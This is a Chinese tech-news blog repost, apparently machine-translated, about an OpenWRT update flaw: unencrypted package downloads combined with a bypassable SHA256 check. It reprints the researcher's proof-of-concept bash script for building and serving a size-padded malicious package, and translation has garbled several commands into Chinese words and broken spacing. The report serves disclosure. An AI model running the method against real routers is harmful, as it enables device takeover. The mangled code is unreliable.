openwrt 软件 镜像_OpenWRT代码执行错误使数百万台设备处于危险之中

6aeda8a58412829aeeaf935819d70a86.png点击上方“蓝字”关注我们 7396515f970fc416efd5c71c62cba86c.png c9847aab0ee91ce1afd947ebb7b32b1b.png

OpenWRT代码执行错误使数百万台设备处于危险之中

欢迎收看风火轮技术团队第一前沿资讯,我是本文报道员小风风。

如果大家了解过OpenWRT开源社区的伙伴们可能知道,OpenWRT是一个非常著名的嵌入式操作系统公司。不过近来,OpenWRT出现了重大问题,就由小风风来带领大家了解详细情况。

近三年来,OpenWRT(为家用路由器和其他类型的嵌入式系统提供动力的开源操作系统)容易受到远程执行代码的攻击,因为更新是通过未加密的通道提供的,并且数字签名验证很容易被绕过。

OpenWRT有一个忠实的用户基础,他们使用免费提供的软件包来替代设备上安装的固件。除路由器外,OpenWRT还可以在智能手机,便携式计算机甚至笔记本电脑和台式机上运行。用户通常会发现OpenWRT是更安全的选择,因为它提供了高级功能,并且其源代码易于审核。

但是,安全研究人员Guido Vranken最近发现,更新和安装文件是通过未加密的HTTPs连接传递的,该连接易受攻击的攻击,使攻击者可以用恶意软件完全替换合法的更新。这位为安全公司ForAllSecure工作的研究员还发现,对于经验丰富的攻击者而言,绕过数字签名检查(将下载的更新验证为OpenWTR维护者提供的合法更新)是微不足道的。这两个漏洞的结合使发送恶意更新成为可能,这些更新将使易受攻击的设备自动安装。ff631949195c32ed4eb46a0bd8601e92.png(openwrt代码)

不适合所有人

这些代码执行漏洞利用的范围受到限制,因为攻击者必须能够进行中间人攻击或篡改设备用来在Internet上查找更新的DNS服务器。这意味着没有恶意用户并且使用合法DNS服务器的网络上的路由器可以免受攻击。弗兰肯还推测,数据包欺骗或ARP缓存中毒也可能使攻击成为可能,但他告诫自己不要测试这两种方法。

尽管有这些要求,但许多网络仍连接着设备操作员未知或不受信任的人员。更重要的是,将指向合法DNS的路由器设置替换为恶意DNS的路由器攻击已成为Internet上的事实,如此处,此处,此处和此处(仅举几例)的野外攻击所示。477bdb83ba8de140502f068dd3880ace.png

(openwrt产品)

缺乏HTTPS加密强制性是造成漏洞的原因之一。HTTPS提供的加密功能使中间人攻击者无法在传输数据时篡改数据。HTTPS内置的身份验证保证也使攻击者无法假冒downloads.openwrt.org,这是提供合法更新和安装文件的真正OpenWRT服务器。可以从下载服务器的HTTP或HTTPS版本安装更新。

利用这些弱点,Vranken能够创建一个模仿downloads.openwrt.org并提供恶意更新的服务器。只要恶意文件与合法文件的大小相同,它就由易受攻击的设备执行。在上周发表的一篇文章中,研究人员写道:

这样做很简单:创建一个小于原始包 

计算原始包装和受损包装之间的尺寸差

将此零字节数量附加到被破坏程序包的末尾

Vranken提供了以下验证概念代码:

#!/ bin / bash

#下载软件包列表进行镜像

wget-x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz

wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig

wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz

wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig

wget-x http ://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz

wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig

wget -x http:/ /downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz

wget -xhttp://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig

wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz

wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig

wget  http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz

wget-x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig

mv downloads.openwrt.org/snapshots。

rm -rf downloads.openwrt.org/

#获取原始包

wget-x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk 

ORIGINAL_FILESIZE = $(stat -c%s“ attr_2.4.48-2_x86_64.ipk”)

焦油zxf attr_2.4.48-2_x86_64.ipk rm attr_2.4.48-2_x86_64.ipk

#提取二进制文件   mkdir数据/ cd数据/ tar zxvf ../data.tar.gz rm ../data.tar.gz

#构建替换二进制文件。这是一个非常小的程序,可以打印字符串。

rm -f /tmp/pwned.asm /tmp/pwned.o

回声“节.text” >> / tmp / pwned.asm

回声“全局_start” >> / tmp / pwned.asm

回声“ _start:” >> / tmp / pwned.asm

回声“ mov edx,len” >> / tmp / pwned.asm

回声“ mov ecx,msg” >> / tmp / pwned.asm

回声“ mov ebx,1” >> / tmp / pwned.asm

回声“ mov eax,4” >> / tmp / pwned.asm

回声“ int 0x80” >> / tmp / pwned.asm

回声“ mov eax,1” >> / tmp / pwned.asm

回声“ int 0x80” >> / tmp / pwned.asm

回声“节.data” >> / tmp / pwned.asm

回声“ msg db'pwned :)',0xa” >> / tmp / pwned.asm echo“ len equ $-msg” >> / tmp / pwned.asm

#组装 nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o

#链接 ld /tmp/pwned.o -o usr / bin / attr

#打包到data.tar.gz

tar czvf ../data.tar.gz * cd ../

#删除不再需要的文件   rm -rf数据/

#包tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary

#删除不再需要的文件

rm control.tar.gz data.tar.gz debian-binar

#计算原始包装和被入侵包装之间的尺寸差

MODIFIED_FILESIZE = $(stat -c%s“ attr_2.4.48-2_x86_64.ipk”)

FILESIZE_DELTA =“ $((($ ORIGINAL_FILESIZE- $ MODIFIED_FILESIZE))”“

#将修改后的文件填充到预期的大小

头/ dev / zero -c $ FILESIZE_DELTA >> attr_2.4.48-2_x86_64.ipk

#下载attr的依赖项wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk

#放置要从Web服务器提供服务的文件

mkdir -p快照/软件包/ x86_64 /软件包/mv attr_2.4.48-2_x86_64.ipk快照/程序包/ x86_64 /程序包/mv libattr_2.4.48-2_x86_64.ipk快照/程序包/ x86_64 /程序包/

#启动opkg将连接到的基本Web服务器

须藤python -m SimpleHTTPServer 80

开源项目的长期贡献者Jo-Philipp Wich表示,缺乏强制HTTPS是OpenWRT维护人员的故意决定,以适应只能通过未加密的HTTP通道接收程序包管理器文件的设备。(与从网站下载并手动安装的更新不同,可以通过设备本身下载并安装添加额外功能(如媒体服务器)的程序包。)为了防止攻击者利用Vranken所发现的弱点,OpenWRT维护人员需要将更新下载为匹配合法的SHA256 加密哈希。如果哈希值不匹配,则不建议设备执行更新。

但是,Vranken发现,可以通过在checksum_hex2bin函数的输入字符串的开头添加一个空格来绕过哈希检查。弗兰肯(Vranken)说,该漏洞似乎是在2017年2月引入的。55c8e476169cf0e56661a8f54618f437.png

(openwrt所涉及到的书籍)

解决方法

OpenWRT维护人员在1月下旬发布了修复程序。缓解措施要求“从不会避开哈希验证的格式正确的列表中列出新的安装。”研究人员说,此更新是部分权宜之计,因为攻击者可以用较旧的软件包列表代替合法的更新。从那里,攻击者可以使用与未受到缓解的设备相同的利用方式。

但是Wich强烈反对最新更新并未完全解决该漏洞的说法。1月25日实施的补丁程序仅存在于OpenWRT服务器上,并且仍然开放给攻击者替换旧版本合法更新的可能性。Wich表示,OpenWRT维护人员于1月29日发布了第二次更新,修补了设备固件本身中的校验和旁路漏洞。安装更新后,将无法再在运行OpenWRT的设备上强制安装恶意软件包。

更新要求用户使用标准浏览器下载文件,然后在其设备上手动安装文件。威奇说,尽管OpenWRT咨询总是发送链接的HTTPS版本,但中间人攻击者仍可以将连接降级以使用HTTP。中间人攻击者仍然可以将HTTPS连接降级为HTTP连接并提供恶意更新。威奇说,维护者正在考虑一种在浏览器下载更新时实施HTTPS的方法。

OpenWRT用户应安装18.06.7或19.07.1版本,并确保通过HTTPS连接提供更新。威奇说,这些补丁程序可以永久修复该漏洞,与弗兰肯声称这些更新只是权宜之计相反。

关注风火轮,技术之路常相伴,我们下期见!

4b09704606ec9d1e2247a94c677eea5a.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值